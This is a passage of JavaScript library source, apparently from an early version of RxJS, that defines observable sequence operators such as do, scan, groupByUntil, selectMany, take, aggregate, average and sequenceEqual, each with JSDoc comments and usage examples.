* @returns {Observable} The source sequence with the side-effecting behavior applied.
*/
observableProto['do'] = observableProto.doAction = function (observerOrOnNext, onError, onCompleted) {
var source = this, onNextFunc;
if (typeof observerOrOnNext === 'function') {
onNextFunc = observerOrOnNext;
} else {
onNextFunc = observerOrOnNext.onNext.bind(observerOrOnNext);
onError = observerOrOnNext.onError.bind(observerOrOnNext);
onCompleted = observerOrOnNext.onCompleted.bind(observerOrOnNext);
}
return new AnonymousObservable(function (observer) {
return source.subscribe(function (x) {
try {
onNextFunc(x);
} catch (e) {
observer.onError(e);
}
observer.onNext(x);
}, function (exception) {
if (!onError) {
observer.onError(exception);
} else {
try {
onError(exception);
} catch (e) {
observer.onError(e);
}
observer.onError(exception);
}
}, function () {
if (!onCompleted) {
observer.onCompleted();
} else {
try {
onCompleted();
} catch (e) {
observer.onError(e);
}
observer.onCompleted();
}
});
});
};
/**
* Invokes a specified action after the source observable sequence terminates gracefully or exceptionally.
*
* @example
* var res = observable.finallyAction(function () { console.log('sequence ended'; });
* @param {Function} finallyAction Action to invoke after the source observable sequence terminates.
* @returns {Observable} Source sequence with the action-invoking termination behavior applied.
*/
observableProto['finally'] = observableProto.finallyAction = function (action) {
var source = this;
return new AnonymousObservable(function (observer) {
var subscription;
try {
subscription = source.subscribe(observer);
} catch (e) {
action();
throw e;
}
return disposableCreate(function () {
try {
subscription.dispose();
} catch (e) {
throw e;
} finally {
action();
}
});
});
};
/**
* Ignores all elements in an observable sequence leaving only the termination messages.
* @returns {Observable} An empty observable sequence that signals termination, successful or exceptional, of the source sequence.
*/
observableProto.ignoreElements = function () {
var source = this;
return new AnonymousObservable(function (observer) {
return source.subscribe(noop, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Materializes the implicit notifications of an observable sequence as explicit notification values.
* @returns {Observable} An observable sequence containing the materialized notification values from the source sequence.
*/
observableProto.materialize = function () {
var source = this;
return new AnonymousObservable(function (observer) {
return source.subscribe(function (value) {
observer.onNext(notificationCreateOnNext(value));
}, function (e) {
observer.onNext(notificationCreateOnError(e));
observer.onCompleted();
}, function () {
observer.onNext(notificationCreateOnCompleted());
observer.onCompleted();
});
});
};
/**
* Repeats the observable sequence a specified number of times. If the repeat count is not specified, the sequence repeats indefinitely.
*
* @example
* var res = repeated = source.repeat();
* var res = repeated = source.repeat(42);
* @param {Number} [repeatCount] Number of times to repeat the sequence. If not provided, repeats the sequence indefinitely.
* @returns {Observable} The observable sequence producing the elements of the given sequence repeatedly.
*/
observableProto.repeat = function (repeatCount) {
return enumerableRepeat(this, repeatCount).concat();
};
/**
* Repeats the source observable sequence the specified number of times or until it successfully terminates. If the retry count is not specified, it retries indefinitely.
*
* @example
* var res = retried = retry.repeat();
* var res = retried = retry.repeat(42);
* @param {Number} [retryCount] Number of times to retry the sequence. If not provided, retry the sequence indefinitely.
* @returns {Observable} An observable sequence producing the elements of the given sequence repeatedly until it terminates successfully.
*/
observableProto.retry = function (retryCount) {
return enumerableRepeat(this, retryCount).catchException();
};
/**
* Applies an accumulator function over an observable sequence and returns each intermediate result. The optional seed value is used as the initial accumulator value.
* For aggregation behavior with no intermediate results, see Observable.aggregate.
* @example
* var res = source.scan(function (acc, x) { return acc + x; });
* var res = source.scan(0, function (acc, x) { return acc + x; });
* @param {Mixed} [seed] The initial accumulator value.
* @param {Function} accumulator An accumulator function to be invoked on each element.
* @returns {Observable} An observable sequence containing the accumulated values.
*/
observableProto.scan = function () {
var hasSeed = false, seed, accumulator, source = this;
if (arguments.length === 2) {
hasSeed = true;
seed = arguments[0];
accumulator = arguments[1];
} else {
accumulator = arguments[0];
}
return new AnonymousObservable(function (observer) {
var hasAccumulation, accumulation, hasValue;
return source.subscribe (
function (x) {
try {
if (!hasValue) {
hasValue = true;
}
if (hasAccumulation) {
accumulation = accumulator(accumulation, x);
} else {
accumulation = hasSeed ? accumulator(seed, x) : x;
hasAccumulation = true;
}
} catch (e) {
observer.onError(e);
return;
}
observer.onNext(accumulation);
},
observer.onError.bind(observer),
function () {
if (!hasValue && hasSeed) {
observer.onNext(seed);
}
observer.onCompleted();
}
);
});
};
/**
* Bypasses a specified number of elements at the end of an observable sequence.
* @description
* This operator accumulates a queue with a length enough to store the first `count` elements. As more elements are
* received, elements are taken from the front of the queue and produced on the result sequence. This causes elements to be delayed.
* @param count Number of elements to bypass at the end of the source sequence.
* @returns {Observable} An observable sequence containing the source sequence elements except for the bypassed ones at the end.
*/
observableProto.skipLast = function (count) {
var source = this;
return new AnonymousObservable(function (observer) {
var q = [];
return source.subscribe(function (x) {
q.push(x);
if (q.length > count) {
observer.onNext(q.shift());
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Prepends a sequence of values to an observable sequence with an optional scheduler and an argument list of values to prepend.
*
* var res = source.startWith(1, 2, 3);
* var res = source.startWith(Rx.Scheduler.timeout, 1, 2, 3);
*
* @memberOf Observable#
* @returns {Observable} The source sequence prepended with the specified values.
*/
observableProto.startWith = function () {
var values, scheduler, start = 0;
if (!!arguments.length && 'now' in Object(arguments[0])) {
scheduler = arguments[0];
start = 1;
} else {
scheduler = immediateScheduler;
}
values = slice.call(arguments, start);
return enumerableFor([observableFromArray(values, scheduler), this]).concat();
};
/**
* Returns a specified number of contiguous elements from the end of an observable sequence, using an optional scheduler to drain the queue.
*
* @example
* var res = source.takeLast(5);
* var res = source.takeLast(5, Rx.Scheduler.timeout);
*
* @description
* This operator accumulates a buffer with a length enough to store elements count elements. Upon completion of
* the source sequence, this buffer is drained on the result sequence. This causes the elements to be delayed.
* @param {Number} count Number of elements to take from the end of the source sequence.
* @param {Scheduler} [scheduler] Scheduler used to drain the queue upon completion of the source sequence.
* @returns {Observable} An observable sequence containing the specified number of elements from the end of the source sequence.
*/
observableProto.takeLast = function (count, scheduler) {
return this.takeLastBuffer(count).selectMany(function (xs) { return observableFromArray(xs, scheduler); });
};
/**
* Returns an array with the specified number of contiguous elements from the end of an observable sequence.
*
* @description
* This operator accumulates a buffer with a length enough to store count elements. Upon completion of the
* source sequence, this buffer is produced on the result sequence.
* @param {Number} count Number of elements to take from the end of the source sequence.
* @returns {Observable} An observable sequence containing a single array with the specified number of elements from the end of the source sequence.
*/
observableProto.takeLastBuffer = function (count) {
var source = this;
return new AnonymousObservable(function (observer) {
var q = [];
return source.subscribe(function (x) {
q.push(x);
if (q.length > count) {
q.shift();
}
}, observer.onError.bind(observer), function () {
observer.onNext(q);
observer.onCompleted();
});
});
};
/**
* Projects each element of an observable sequence into zero or more windows which are produced based on element count information.
*
* var res = xs.windowWithCount(10);
* var res = xs.windowWithCount(10, 1);
* @param {Number} count Length of each window.
* @param {Number} [skip] Number of elements to skip between creation of consecutive windows. If not specified, defaults to the count.
* @returns {Observable} An observable sequence of windows.
*/
observableProto.windowWithCount = function (count, skip) {
var source = this;
if (count <= 0) {
throw new Error(argumentOutOfRange);
}
if (arguments.length === 1) {
skip = count;
}
if (skip <= 0) {
throw new Error(argumentOutOfRange);
}
return new AnonymousObservable(function (observer) {
var m = new SingleAssignmentDisposable(),
refCountDisposable = new RefCountDisposable(m),
n = 0,
q = [],
createWindow = function () {
var s = new Subject();
q.push(s);
observer.onNext(addRef(s, refCountDisposable));
};
createWindow();
m.setDisposable(source.subscribe(function (x) {
var s;
for (var i = 0, len = q.length; i < len; i++) {
q[i].onNext(x);
}
var c = n - count + 1;
if (c >= 0 && c % skip === 0) {
s = q.shift();
s.onCompleted();
}
n++;
if (n % skip === 0) {
createWindow();
}
}, function (exception) {
while (q.length > 0) {
q.shift().onError(exception);
}
observer.onError(exception);
}, function () {
while (q.length > 0) {
q.shift().onCompleted();
}
observer.onCompleted();
}));
return refCountDisposable;
});
};
/**
* Returns the elements of the specified sequence or the specified value in a singleton sequence if the sequence is empty.
*
* var res = obs = xs.defaultIfEmpty();
* 2 - obs = xs.defaultIfEmpty(false);
*
* @memberOf Observable#
* @param defaultValue The value to return if the sequence is empty. If not provided, this defaults to null.
* @returns {Observable} An observable sequence that contains the specified default value if the source is empty; otherwise, the elements of the source itself.
*/
observableProto.defaultIfEmpty = function (defaultValue) {
var source = this;
if (defaultValue === undefined) {
defaultValue = null;
}
return new AnonymousObservable(function (observer) {
var found = false;
return source.subscribe(function (x) {
found = true;
observer.onNext(x);
}, observer.onError.bind(observer), function () {
if (!found) {
observer.onNext(defaultValue);
}
observer.onCompleted();
});
});
};
/**
* Returns an observable sequence that contains only distinct elements according to the keySelector and the comparer.
* Usage of this operator should be considered carefully due to the maintenance of an internal lookup structure which can grow large.
*
* @example
* var res = obs = xs.distinct();
* 2 - obs = xs.distinct(function (x) { return x.id; });
* 2 - obs = xs.distinct(function (x) { return x.id; }, function (x) { return x.toString(); });
* @param {Function} [keySelector] A function to compute the comparison key for each element.
* @param {Function} [keySerializer] Used to serialize the given object into a string for object comparison.
* @returns {Observable} An observable sequence only containing the distinct elements, based on a computed key value, from the source sequence.
*/
observableProto.distinct = function (keySelector, keySerializer) {
var source = this;
keySelector || (keySelector = identity);
keySerializer || (keySerializer = defaultKeySerializer);
return new AnonymousObservable(function (observer) {
var hashSet = {};
return source.subscribe(function (x) {
var key, serializedKey, otherKey, hasMatch = false;
try {
key = keySelector(x);
serializedKey = keySerializer(key);
} catch (exception) {
observer.onError(exception);
return;
}
for (otherKey in hashSet) {
if (serializedKey === otherKey) {
hasMatch = true;
break;
}
}
if (!hasMatch) {
hashSet[serializedKey] = null;
observer.onNext(x);
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Groups the elements of an observable sequence according to a specified key selector function and comparer and selects the resulting elements by using a specified function.
*
* @example
* var res = observable.groupBy(function (x) { return x.id; });
* 2 - observable.groupBy(function (x) { return x.id; }), function (x) { return x.name; });
* 3 - observable.groupBy(function (x) { return x.id; }), function (x) { return x.name; }, function (x) { return x.toString(); });
* @param {Function} keySelector A function to extract the key for each element.
* @param {Function} [elementSelector] A function to map each source element to an element in an observable group.
* @param {Function} [keySerializer] Used to serialize the given object into a string for object comparison.
* @returns {Observable} A sequence of observable groups, each of which corresponds to a unique key value, containing all elements that share that same key value.
*/
observableProto.groupBy = function (keySelector, elementSelector, keySerializer) {
return this.groupByUntil(keySelector, elementSelector, function () {
return observableNever();
}, keySerializer);
};
/**
* Groups the elements of an observable sequence according to a specified key selector function.
* A duration selector function is used to control the lifetime of groups. When a group expires, it receives an OnCompleted notification. When a new element with the same
* key value as a reclaimed group occurs, the group will be reborn with a new lifetime request.
*
* @example
* var res = observable.groupByUntil(function (x) { return x.id; }, null, function () { return Rx.Observable.never(); });
* 2 - observable.groupBy(function (x) { return x.id; }), function (x) { return x.name; }, function () { return Rx.Observable.never(); });
* 3 - observable.groupBy(function (x) { return x.id; }), function (x) { return x.name; }, function () { return Rx.Observable.never(); }, function (x) { return x.toString(); });
* @param {Function} keySelector A function to extract the key for each element.
* @param {Function} durationSelector A function to signal the expiration of a group.
* @param {Function} [keySerializer] Used to serialize the given object into a string for object comparison.
* @returns {Observable}
* A sequence of observable groups, each of which corresponds to a unique key value, containing all elements that share that same key value.
* If a group's lifetime expires, a new group with the same key value can be created once an element with such a key value is encoutered.
*
*/
observableProto.groupByUntil = function (keySelector, elementSelector, durationSelector, keySerializer) {
var source = this;
elementSelector || (elementSelector = identity);
keySerializer || (keySerializer = defaultKeySerializer);
return new AnonymousObservable(function (observer) {
var map = {},
groupDisposable = new CompositeDisposable(),
refCountDisposable = new RefCountDisposable(groupDisposable);
groupDisposable.add(source.subscribe(function (x) {
var duration, durationGroup, element, fireNewMapEntry, group, key, serializedKey, md, writer, w;
try {
key = keySelector(x);
serializedKey = keySerializer(key);
} catch (e) {
for (w in map) {
map[w].onError(e);
}
observer.onError(e);
return;
}
fireNewMapEntry = false;
try {
writer = map[serializedKey];
if (!writer) {
writer = new Subject();
map[serializedKey] = writer;
fireNewMapEntry = true;
}
} catch (e) {
for (w in map) {
map[w].onError(e);
}
observer.onError(e);
return;
}
if (fireNewMapEntry) {
group = new GroupedObservable(key, writer, refCountDisposable);
durationGroup = new GroupedObservable(key, writer);
try {
duration = durationSelector(durationGroup);
} catch (e) {
for (w in map) {
map[w].onError(e);
}
observer.onError(e);
return;
}
observer.onNext(group);
md = new SingleAssignmentDisposable();
groupDisposable.add(md);
var expire = function () {
if (serializedKey in map) {
delete map[serializedKey];
writer.onCompleted();
}
groupDisposable.remove(md);
};
md.setDisposable(duration.take(1).subscribe(noop, function (exn) {
for (w in map) {
map[w].onError(exn);
}
observer.onError(exn);
}, function () {
expire();
}));
}
try {
element = elementSelector(x);
} catch (e) {
for (w in map) {
map[w].onError(e);
}
observer.onError(e);
return;
}
writer.onNext(element);
}, function (ex) {
for (var w in map) {
map[w].onError(ex);
}
observer.onError(ex);
}, function () {
for (var w in map) {
map[w].onCompleted();
}
observer.onCompleted();
}));
return refCountDisposable;
});
};
/**
* Projects each element of an observable sequence into a new form by incorporating the element's index.
* @param {Function} selector A transform function to apply to each source element; the second parameter of the function represents the index of the source element.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence whose elements are the result of invoking the transform function on each element of source.
*/
observableProto.select = observableProto.map = function (selector, thisArg) {
var parent = this;
return new AnonymousObservable(function (observer) {
var count = 0;
return parent.subscribe(function (value) {
var result;
try {
result = selector.call(thisArg, value, count++, parent);
} catch (exception) {
observer.onError(exception);
return;
}
observer.onNext(result);
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Retrieves the value of a specified property from all elements in the Observable sequence.
* @param {String} property The property to pluck.
* @returns {Observable} Returns a new Observable sequence of property values.
*/
observableProto.pluck = function (property) {
return this.select(function (x) { return x[property]; });
};
function selectMany(selector) {
return this.select(function (x, i) {
var result = selector(x, i);
return isPromise(result) ? observableFromPromise(result) : result;
}).mergeObservable();
}
/**
* One of the Following:
* Projects each element of an observable sequence to an observable sequence and merges the resulting observable sequences into one observable sequence.
*
* @example
* var res = source.selectMany(function (x) { return Rx.Observable.range(0, x); });
* Or:
* Projects each element of an observable sequence to an observable sequence, invokes the result selector for the source element and each of the corresponding inner sequence's elements, and merges the results into one observable sequence.
*
* var res = source.selectMany(function (x) { return Rx.Observable.range(0, x); }, function (x, y) { return x + y; });
* Or:
* Projects each element of the source observable sequence to the other observable sequence and merges the resulting observable sequences into one observable sequence.
*
* var res = source.selectMany(Rx.Observable.fromArray([1,2,3]));
* @param selector A transform function to apply to each element or an observable sequence to project each element from the
* source sequence onto which could be either an observable or Promise.
* @param {Function} [resultSelector] A transform function to apply to each element of the intermediate sequence.
* @returns {Observable} An observable sequence whose elements are the result of invoking the one-to-many transform function collectionSelector on each element of the input sequence and then mapping each of those sequence elements and their corresponding source element to a result element.
*/
observableProto.selectMany = observableProto.flatMap = function (selector, resultSelector) {
if (resultSelector) {
return this.selectMany(function (x, i) {
var selectorResult = selector(x, i),
result = isPromise(selectorResult) ? observableFromPromise(selectorResult) : selectorResult;
return result.select(function (y) {
return resultSelector(x, y, i);
});
});
}
if (typeof selector === 'function') {
return selectMany.call(this, selector);
}
return selectMany.call(this, function () {
return selector;
});
};
/**
* Projects each element of an observable sequence into a new sequence of observable sequences by incorporating the element's index and then
* transforms an observable sequence of observable sequences into an observable sequence producing values only from the most recent observable sequence.
* @param {Function} selector A transform function to apply to each source element; the second parameter of the function represents the index of the source element.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence whose elements are the result of invoking the transform function on each element of source producing an Observable of Observable sequences
* and that at any point in time produces the elements of the most recent inner observable sequence that has been received.
*/
observableProto.selectSwitch = observableProto.flatMapLatest = function (selector, thisArg) {
return this.select(selector, thisArg).switchLatest();
};
/**
* Bypasses a specified number of elements in an observable sequence and then returns the remaining elements.
* @param {Number} count The number of elements to skip before returning the remaining elements.
* @returns {Observable} An observable sequence that contains the elements that occur after the specified index in the input sequence.
*/
observableProto.skip = function (count) {
if (count < 0) {
throw new Error(argumentOutOfRange);
}
var observable = this;
return new AnonymousObservable(function (observer) {
var remaining = count;
return observable.subscribe(function (x) {
if (remaining <= 0) {
observer.onNext(x);
} else {
remaining--;
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Bypasses elements in an observable sequence as long as a specified condition is true and then returns the remaining elements.
* The element's index is used in the logic of the predicate function.
*
* var res = source.skipWhile(function (value) { return value < 10; });
* var res = source.skipWhile(function (value, index) { return value < 10 || index < 10; });
* @param {Function} predicate A function to test each element for a condition; the second parameter of the function represents the index of the source element.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence that contains the elements from the input sequence starting at the first element in the linear series that does not pass the test specified by predicate.
*/
observableProto.skipWhile = function (predicate, thisArg) {
var source = this;
return new AnonymousObservable(function (observer) {
var i = 0, running = false;
return source.subscribe(function (x) {
if (!running) {
try {
running = !predicate.call(thisArg, x, i++, source);
} catch (e) {
observer.onError(e);
return;
}
}
if (running) {
observer.onNext(x);
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Returns a specified number of contiguous elements from the start of an observable sequence, using the specified scheduler for the edge case of take(0).
*
* var res = source.take(5);
* var res = source.take(0, Rx.Scheduler.timeout);
* @param {Number} count The number of elements to return.
* @param {Scheduler} [scheduler] Scheduler used to produce an OnCompleted message in case <paramref name="count count</paramref> is set to 0.
* @returns {Observable} An observable sequence that contains the specified number of elements from the start of the input sequence.
*/
observableProto.take = function (count, scheduler) {
if (count < 0) {
throw new Error(argumentOutOfRange);
}
if (count === 0) {
return observableEmpty(scheduler);
}
var observable = this;
return new AnonymousObservable(function (observer) {
var remaining = count;
return observable.subscribe(function (x) {
if (remaining > 0) {
remaining--;
observer.onNext(x);
if (remaining === 0) {
observer.onCompleted();
}
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Returns elements from an observable sequence as long as a specified condition is true.
* The element's index is used in the logic of the predicate function.
*
* @example
* var res = source.takeWhile(function (value) { return value < 10; });
* var res = source.takeWhile(function (value, index) { return value < 10 || index < 10; });
* @param {Function} predicate A function to test each element for a condition; the second parameter of the function represents the index of the source element.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence that contains the elements from the input sequence that occur before the element at which the test no longer passes.
*/
observableProto.takeWhile = function (predicate, thisArg) {
var observable = this;
return new AnonymousObservable(function (observer) {
var i = 0, running = true;
return observable.subscribe(function (x) {
if (running) {
try {
running = predicate.call(thisArg, x, i++, observable);
} catch (e) {
observer.onError(e);
return;
}
if (running) {
observer.onNext(x);
} else {
observer.onCompleted();
}
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Filters the elements of an observable sequence based on a predicate by incorporating the element's index.
*
* @example
* var res = source.where(function (value) { return value < 10; });
* var res = source.where(function (value, index) { return value < 10 || index < 10; });
* @param {Function} predicate A function to test each source element for a condition; the second parameter of the function represents the index of the source element.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence that contains elements from the input sequence that satisfy the condition.
*/
observableProto.where = observableProto.filter = function (predicate, thisArg) {
var parent = this;
return new AnonymousObservable(function (observer) {
var count = 0;
return parent.subscribe(function (value) {
var shouldRun;
try {
shouldRun = predicate.call(thisArg, value, count++, parent);
} catch (exception) {
observer.onError(exception);
return;
}
if (shouldRun) {
observer.onNext(value);
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
observableProto.finalValue = function () {
var source = this;
return new AnonymousObservable(function (observer) {
var hasValue = false, value;
return source.subscribe(function (x) {
hasValue = true;
value = x;
}, observer.onError.bind(observer), function () {
if (!hasValue) {
observer.onError(new Error(sequenceContainsNoElements));
} else {
observer.onNext(value);
observer.onCompleted();
}
});
});
};
function extremaBy(source, keySelector, comparer) {
return new AnonymousObservable(function (observer) {
var hasValue = false, lastKey = null, list = [];
return source.subscribe(function (x) {
var comparison, key;
try {
key = keySelector(x);
} catch (ex) {
observer.onError(ex);
return;
}
comparison = 0;
if (!hasValue) {
hasValue = true;
lastKey = key;
} else {
try {
comparison = comparer(key, lastKey);
} catch (ex1) {
observer.onError(ex1);
return;
}
}
if (comparison > 0) {
lastKey = key;
list = [];
}
if (comparison >= 0) {
list.push(x);
}
}, observer.onError.bind(observer), function () {
observer.onNext(list);
observer.onCompleted();
});
});
}
function firstOnly(x) {
if (x.length === 0) {
throw new Error(sequenceContainsNoElements);
}
return x[0];
}
/**
* Applies an accumulator function over an observable sequence, returning the result of the aggregation as a single element in the result sequence. The specified seed value is used as the initial accumulator value.
* For aggregation behavior with incremental intermediate results, see Observable.scan.
* @example
* 1 - res = source.aggregate(function (acc, x) { return acc + x; });
* 2 - res = source.aggregate(0, function (acc, x) { return acc + x; });
* @param {Mixed} [seed] The initial accumulator value.
* @param {Function} accumulator An accumulator function to be invoked on each element.
* @returns {Observable} An observable sequence containing a single element with the final accumulator value.
*/
observableProto.aggregate = function () {
var seed, hasSeed, accumulator;
if (arguments.length === 2) {
seed = arguments[0];
hasSeed = true;
accumulator = arguments[1];
} else {
accumulator = arguments[0];
}
return hasSeed ? this.scan(seed, accumulator).startWith(seed).finalValue() : this.scan(accumulator).finalValue();
};
/**
* Applies an accumulator function over an observable sequence, returning the result of the aggregation as a single element in the result sequence. The specified seed value is used as the initial accumulator value.
* For aggregation behavior with incremental intermediate results, see Observable.scan.
* @example
* 1 - res = source.reduce(function (acc, x) { return acc + x; });
* 2 - res = source.reduce(function (acc, x) { return acc + x; }, 0);
* @param {Function} accumulator An accumulator function to be invoked on each element.
* @param {Any} [seed] The initial accumulator value.
* @returns {Observable} An observable sequence containing a single element with the final accumulator value.
*/
observableProto.reduce = function (accumulator) {
var seed, hasSeed;
if (arguments.length === 2) {
hasSeed = true;
seed = arguments[1];
}
return hasSeed ? this.scan(seed, accumulator).startWith(seed).finalValue() : this.scan(accumulator).finalValue();
};
/**
* Determines whether any element of an observable sequence satisfies a condition if present, else if any items are in the sequence.
* @example
* var result = source.any();
* var result = source.any(function (x) { return x > 3; });
* @param {Function} [predicate] A function to test each element for a condition.
* @returns {Observable} An observable sequence containing a single element determining whether any elements in the source sequence pass the test in the specified predicate if given, else if any items are in the sequence.
*/
observableProto.some = observableProto.any = function (predicate, thisArg) {
var source = this;
return predicate ?
source.where(predicate, thisArg).any() :
new AnonymousObservable(function (observer) {
return source.subscribe(function () {
observer.onNext(true);
observer.onCompleted();
}, observer.onError.bind(observer), function () {
observer.onNext(false);
observer.onCompleted();
});
});
};
/**
* Determines whether an observable sequence is empty.
*
* @memberOf Observable#
* @returns {Observable} An observable sequence containing a single element determining whether the source sequence is empty.
*/
observableProto.isEmpty = function () {
return this.any().select(function (b) { return !b; });
};
/**
* Determines whether all elements of an observable sequence satisfy a condition.
*
* 1 - res = source.all(function (value) { return value.length > 3; });
* @memberOf Observable#
* @param {Function} [predicate] A function to test each element for a condition.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence containing a single element determining whether all elements in the source sequence pass the test in the specified predicate.
*/
observableProto.every = observableProto.all = function (predicate, thisArg) {
return this.where(function (v) {
return !predicate(v);
}, thisArg).any().select(function (b) {
return !b;
});
};
/**
* Determines whether an observable sequence contains a specified element with an optional equality comparer.
* @example
* 1 - res = source.contains(42);
* 2 - res = source.contains({ value: 42 }, function (x, y) { return x.value === y.value; });
* @param value The value to locate in the source sequence.
* @param {Function} [comparer] An equality comparer to compare elements.
* @returns {Observable} An observable sequence containing a single element determining whether the source sequence contains an element that has the specified value.
*/
observableProto.contains = function (value, comparer) {
comparer || (comparer = defaultComparer);
return this.where(function (v) {
return comparer(v, value);
}).any();
};
/**
* Returns an observable sequence containing a value that represents how many elements in the specified observable sequence satisfy a condition if provided, else the count of items.
* @example
* res = source.count();
* res = source.count(function (x) { return x > 3; });
* @param {Function} [predicate]A function to test each element for a condition.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence containing a single element with a number that represents how many elements in the input sequence satisfy the condition in the predicate function if provided, else the count of items in the sequence.
*/
observableProto.count = function (predicate, thisArg) {
return predicate ?
this.where(predicate, thisArg).count() :
this.aggregate(0, function (count) {
return count + 1;
});
};
/**
* Computes the sum of a sequence of values that are obtained by invoking an optional transform function on each element of the input sequence, else if not specified computes the sum on each item in the sequence.
* @example
* var res = source.sum();
* var res = source.sum(function (x) { return x.value; });
* @param {Function} [selector] A transform function to apply to each element.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence containing a single element with the sum of the values in the source sequence.
*/
observableProto.sum = function (keySelector, thisArg) {
return keySelector ?
this.select(keySelector, thisArg).sum() :
this.aggregate(0, function (prev, curr) {
return prev + curr;
});
};
/**
* Returns the elements in an observable sequence with the minimum key value according to the specified comparer.
* @example
* var res = source.minBy(function (x) { return x.value; });
* var res = source.minBy(function (x) { return x.value; }, function (x, y) { return x - y; });
* @param {Function} keySelector Key selector function.
* @param {Function} [comparer] Comparer used to compare key values.
* @returns {Observable} An observable sequence containing a list of zero or more elements that have a minimum key value.
*/
observableProto.minBy = function (keySelector, comparer) {
comparer || (comparer = defaultSubComparer);
return extremaBy(this, keySelector, function (x, y) {
return comparer(x, y) * -1;
});
};
/**
* Returns the minimum element in an observable sequence according to the optional comparer else a default greater than less than check.
* @example
* var res = source.min();
* var res = source.min(function (x, y) { return x.value - y.value; });
* @param {Function} [comparer] Comparer used to compare elements.
* @returns {Observable} An observable sequence containing a single element with the minimum element in the source sequence.
*/
observableProto.min = function (comparer) {
return this.minBy(identity, comparer).select(function (x) {
return firstOnly(x);
});
};
/**
* Returns the elements in an observable sequence with the maximum key value according to the specified comparer.
* @example
* var res = source.maxBy(function (x) { return x.value; });
* var res = source.maxBy(function (x) { return x.value; }, function (x, y) { return x - y;; });
* @param {Function} keySelector Key selector function.
* @param {Function} [comparer] Comparer used to compare key values.
* @returns {Observable} An observable sequence containing a list of zero or more elements that have a maximum key value.
*/
observableProto.maxBy = function (keySelector, comparer) {
comparer || (comparer = defaultSubComparer);
return extremaBy(this, keySelector, comparer);
};
/**
* Returns the maximum value in an observable sequence according to the specified comparer.
* @example
* var res = source.max();
* var res = source.max(function (x, y) { return x.value - y.value; });
* @param {Function} [comparer] Comparer used to compare elements.
* @returns {Observable} An observable sequence containing a single element with the maximum element in the source sequence.
*/
observableProto.max = function (comparer) {
return this.maxBy(identity, comparer).select(function (x) {
return firstOnly(x);
});
};
/**
* Computes the average of an observable sequence of values that are in the sequence or obtained by invoking a transform function on each element of the input sequence if present.
* @example
* var res = res = source.average();
* var res = res = source.average(function (x) { return x.value; });
* @param {Function} [selector] A transform function to apply to each element.
* @param {Any} [thisArg] Object to use as this when executing callback.
* @returns {Observable} An observable sequence containing a single element with the average of the sequence of values.
*/
observableProto.average = function (keySelector, thisArg) {
return keySelector ?
this.select(keySelector, thisArg).average() :
this.scan({
sum: 0,
count: 0
}, function (prev, cur) {
return {
sum: prev.sum + cur,
count: prev.count + 1
};
}).finalValue().select(function (s) {
if (s.count === 0) {
throw new Error('The input sequence was empty');
}
return s.sum / s.count;
});
};
function sequenceEqualArray(first, second, comparer) {
return new AnonymousObservable(function (observer) {
var count = 0, len = second.length;
return first.subscribe(function (value) {
var equal = false;
try {
if (count < len) {
equal = comparer(value, second[count++]);
}
} catch (e) {
observer.onError(e);
return;
}
if (!equal) {
observer.onNext(false);
observer.onCompleted();
}
}, observer.onError.bind(observer), function () {
observer.onNext(count === len);
observer.onCompleted();
});
});
}
/**
* Determines whether two sequences are equal by comparing the elements pairwise using a specified equality comparer.
*
* @example
* var res = res = source.sequenceEqual([1,2,3]);
* var res = res = source.sequenceEqual([{ value: 42 }], function (x, y) { return x.value === y.value; });
* 3 - res = source.sequenceEqual(Rx.Observable.returnValue(42));
* 4 - res = source.sequenceEqual(Rx.Observable.returnValue({ value: 42 }), function (x, y) { return x.value === y.value; });
* @param {Observable} second Second observable sequence or array to compare.
* @param {Function} [comparer] Comparer used to compare elements of both sequences.
* @returns {Observable} An observable sequence that contains a single element which indicates whether both sequences are of equal length and their corresponding elements are equal according to the specified equality comparer.
*/
observableProto.sequenceEqual = function (second, comparer) {
var first = this;
comparer || (comparer = defaultComparer);
if (Array.isArray(second)) {
return sequenceEqualArray(first, second, comparer);
}
return new AnonymousObservable(function (observer) {
var donel = false, doner = false, ql = [], qr = [];
var subscription1 = first.subscribe(function (x) {
var equal, v;
if (qr.length > 0) {
v = qr.shift();
try {
equal = comparer(v, x);
} catch (e) {
observer.onError(e);
return;
}
if (!equal) {
observer.onNext(false);
observer.onCompleted();
}
} else if (doner) {
observer.onNext(false);
observer.onCompleted();
} else {
ql.push(x);
}
}, observer.onError.bind(observer), function () {
donel = true;
if (ql.length === 0) {
if (qr.length > 0) {
observer.onNext(false);
observer.onCompleted();
} else if (doner) {
observer.onNext(true);
observer.onCompleted();
}
}
});
isPromise(second) && (second = observableFromPromise(second));
var subscription2 = second.subscribe(function (x) {
var equal, v;
if (ql.length > 0) {
v = ql.shift();
try {
equal = comparer(v, x);
} catch (exception) {
observer.onError(exception);
return;
}
if (!equal) {
observer.onNext(false);
observer.onCompleted();
}
} else if (donel) {
observer.onNext(false);
observer.onCompleted();
} else {
qr.push(x);
}
}, observer.onError.bind(observer), function () {
doner = true;
if (qr.length === 0) {
if (ql.length > 0) {
observer.onNext(false);
observer.onCompleted();
} else if (donel) {
observer.onNext(true);
observer.onCompleted();
}
}
});
return new CompositeDisposable(subscription1, subscription2);
});
};
function elementAtOrDefault(source, index, hasDefault, defaultValue) {
if (index < 0) {
throw new Error(argumentOutOfRange);
}
return new AnonymousObservable(function (observer) {
var i = index;
return source.subscribe(function (x) {
if (i === 0) {
observer.onNext(x);
